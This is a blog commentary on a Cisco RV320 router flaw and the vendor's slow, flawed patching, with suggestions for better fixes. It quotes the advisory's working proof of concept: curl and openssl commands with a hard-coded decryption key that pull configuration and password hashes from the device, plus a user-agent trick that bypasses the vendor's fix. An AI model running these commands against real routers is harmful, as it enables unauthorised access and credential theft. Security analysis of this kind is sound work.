Introduction

Recently an security incident came in the news that shows how not to handle security incidents. First an small summary from my side of the issue based on the information from the people that discured the issue redteam-pentesting.de The Cisco RV320 Dual Gigabit WAN VPN Router has a web based gui. With this GUI there is in the CGI-bin directory an utility program to download debug messages from the Router.

The security issue is that this undocumented utility does more than just downloads the debug messages, it also contains configuration inforamtion that you don’t want to expose to the internet but much more also the system configuration and tarred copies of /etc and /var. The only protection it got is an hardcoded password.

How to get the information

This section is copied from the redteam-pentesting advisory:

The diagnostic data can be retrieved by issuing an HTTP POST request to the vulnerable CGI program. OpenSSL is used to decrypt the data with the hard-coded password “NKDebug12#$%” before unpacking it with tar (output shortened):

---

$ curl -k -A kurl -X POST –data ‘submitdebugmsg=1’ \ ‘https://192.168.1.1/cgi-bin/export_debug_msg.exp’ > debug

$ openssl aes-128-cbc -salt -md md5 -d \ -k ‘NKDebug12#$%’ < debug > debug.tgz

$ mkdir output && tar -xf debug.tgz -C output/

$ ls -1 output/ debug_messages.txt etc.tgz nk_sysconfig var.tgz

$ cat output/nk_sysconfig ####sysconfig#### [VERSION] VERSION=73 MODEL=RV320 SSL=0 IPSEC=0 PPTP=0 PLATFORMCODE=RV0XX […] [SYSTEM] HOSTNAME=router DOMAINNAME=example.com DOMAINCHANGE=1 USERNAME=cisco PASSWD=066bae9070a9a95b3e03019db131cd40 […] ————————————————————————

Issues

Now the real issues with this security incident can be seen from the timeline: Timeline ========

2018-09-19 Original vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-11-18 List of affected versions provided by vendor 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-22 Firmware 1.4.2.20 released by vendor 2019-01-23 Advisory (rt-sa-2018-003) published

2019-02-07 Incomplete mitigation of vulnerability identified 2019-02-08 Proof of concept sent to vendor 2019-02-08 Receipt of proof of concept acknowledged by vendor 2019-02-15 Full advisory sent to vendor 2019-02-15 Notified vendor of disclosure date: 2019-03-27 2019-03-25 Requested progress update from vendor 2019-03-25 Vendor requests postponed disclosure 2019-03-25 Postponement declined 2019-03-27 Advisory published

It took Cisco 3 months to fix this issue the first time, and that was not correct. Then when informed that the fix was incorrect they needed more than 2 months for yet another update (now expected in April).

The problem is that if you publish a software update for a security issue for an important piece of software or hardware, the bad guys will analyse your update. This will try to understand the issue in detail, the details that are typically left out from the initial problem description (CVE) to make it too easy for the bad hackers to exploit the issue.

They try to understand in which part of the software the issues lies, how the software is vulnerable and if there exists other security issues in the same software part that can be abused. Typically when a network abusable problem it is found it is added in the toolchests of the script kiddies and you can see attempts to exploit in honeypots in a matter of weeks.

Thus when publishing such a security update, there is pressue to deliver a fix quickly.

The current fix in firmware 1.4.2.20 disallows curl based on http user agent.
This is a bad fix and a trivial change was made in the proof of content code above (-A kurl) to allow the issue to persist.

Beter fixes

Better fixes would be - Remove the export_debug_msg.exp completely from the sofware distribution. I could not find the functionality mentioned in the external software documentation so it looks to me like an internal command for Cisco support personell. Check if it is really used in the field and if there are no other more secure procedures, may be a bit less convinient for your support people.
- Only have the programs respond to the local network not to the entire internet. Stop any communication if is not from a local interface and make the answer non-routable. This avoids the software being scanned and abused remotely. - Make the decryption key device specific instead of an hardcoded value. Each customer should provide some information to the support engineer that does not know yet, to decrypt the software. For example Serial number of the device + the date the program was run as key. - Add a username/password via HTTP Authentication to the program so only authorized users can run it.

Morale of the story

Fixing security issues:

Actively discuss and select a good solution for security fixes. Not the ‘just fix it approach’ but specify and discuss fixes. Propose multiple solutions and select the best one. Here Cisco management dropped the ball. That the engineer in question made the error is not good but that the supervisors did not catch the issue is unexcusable.

Timelines:

Security issues are race between the administrators of systems and the bad guys. The longer a fix takes the more damage is done. A 3 month period for the first update is long, the more than 2 month for a correction on the earlier fix really hurt some people using this equipment.

You need to have a process in place to produce emergency fixes quickly, in a matter of days, not months. This proves to me that Cisco does not have an quick, automated build and test infrastructure in place for their RV320 Routers. Nowadays due to this kind of security issues companies should invest in continous integration and automatic testing to be able to deliver security updates quickly.